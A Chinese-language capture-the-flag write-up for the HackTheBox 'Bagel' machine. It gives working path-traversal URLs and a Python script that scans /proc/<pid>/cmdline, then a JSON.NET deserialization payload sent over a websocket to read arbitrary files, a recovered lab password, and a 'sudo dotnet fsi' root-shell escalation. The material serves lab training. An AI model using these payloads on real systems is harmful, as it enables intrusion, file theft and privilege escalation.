HackTheBox Bagel
端口扫描
nmap -sC -sV 10.10.11.201 -o bagel
echo "10.10.11.201 bagel.htb" >> /etc/hosts
任意文件下载
http://bagel.htb:8000/?page=index.html 注意看这个网址,它是去包含其他页面的,接下来测试一下
cat passwd|grep -vE 'nologin'
筛选可以登陆的用户,上面看到ssh端口是开启的,尝试找一下密钥文件
http://bagel.htb:8000/?page=../../../../proc/self/cmdline
将进程文件下载下来,查看一下正在运行的文件,获取到正在运行的进程,/home/developer/app/app.py
http://bagel.htb:8000/?page=../../../../home/developer/app/app.py
查看一下app.py的代码
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args: // 判断是否有参数过来
page = 'static/'+request.args.get('page') // 有的话就附加到static/目录下
if os.path.isfile(page): // 判断文件是否存在
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found" // 不存在就返回这里的内容
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302) // 存在就重定向到index.html页面
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket() // 这里连接到运行的websocket服务器上
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order)) // 向5000端口发送带有ReadOrder和orders.txt
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
// 将服务器接收到的ReadOrder内容以字符串返回
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
这段提示:先用“dotnet<pathto.dll>”命令运行order应用程序。使用ssh密钥访问计算机
所以,我们可以写一个脚本来获取 .dll 文件,从而获取到ssh密钥
from pwn import log
import requests
url = "http://bagel.htb:8000"
dir = log.progress("FUZZ cmdline")
for pid in range(900,1000):
dir.status(str(pid))
params = {"page": f"../../../../proc/{pid}/cmdline"}
r = requests.get(url, params=params)
log.info(f"{pid}: " + r.text.strip().replace("\x00", " "))
/opt/bagel/bin/Debug/net6.0/bagel.dll
获取到了.dll文件,将此文件下载下来
用dnSpy分析C程序代码
用dnSpy应用打开
k8wdAYYKyhnjg3K
获取到一个密码
该属性有getter和setter两个方法,可以通过属性来获取ReadOrder的值;
当设置ReadOrder变量的值时,首先会将该值中的“/”和“..”字符替换为空字符串,以防止目录穿越攻击。然后,将order_filename变量设置为过滤后的值,最后将file.ReadFile设置为order_filename的值,以指定要读取的文件路径。
当读取ReadOrder变量的值时,会返回file.ReadFile的值,即当前指定的要读取的文件的内容。
编写脚本读取文件
写一个python脚本,解析websocket服务器端json对象,输出读取到的内容
import sys
import websocket
import json
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <filename>")
sys.exit(1)
ws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/")
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": f"../../../../../../../{sys.argv[1]}"}}
data = str(json.dumps(order))
ws.send(data)
output = ws.recv()
json = json.loads(output)
print(json["RemoveOrder"]["ReadFile"])
权限提升
用户:developer
密码:k8wdAYYKyhnjg3K
https://gtfobins.github.io/gtfobins/dotnet/
sudo dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;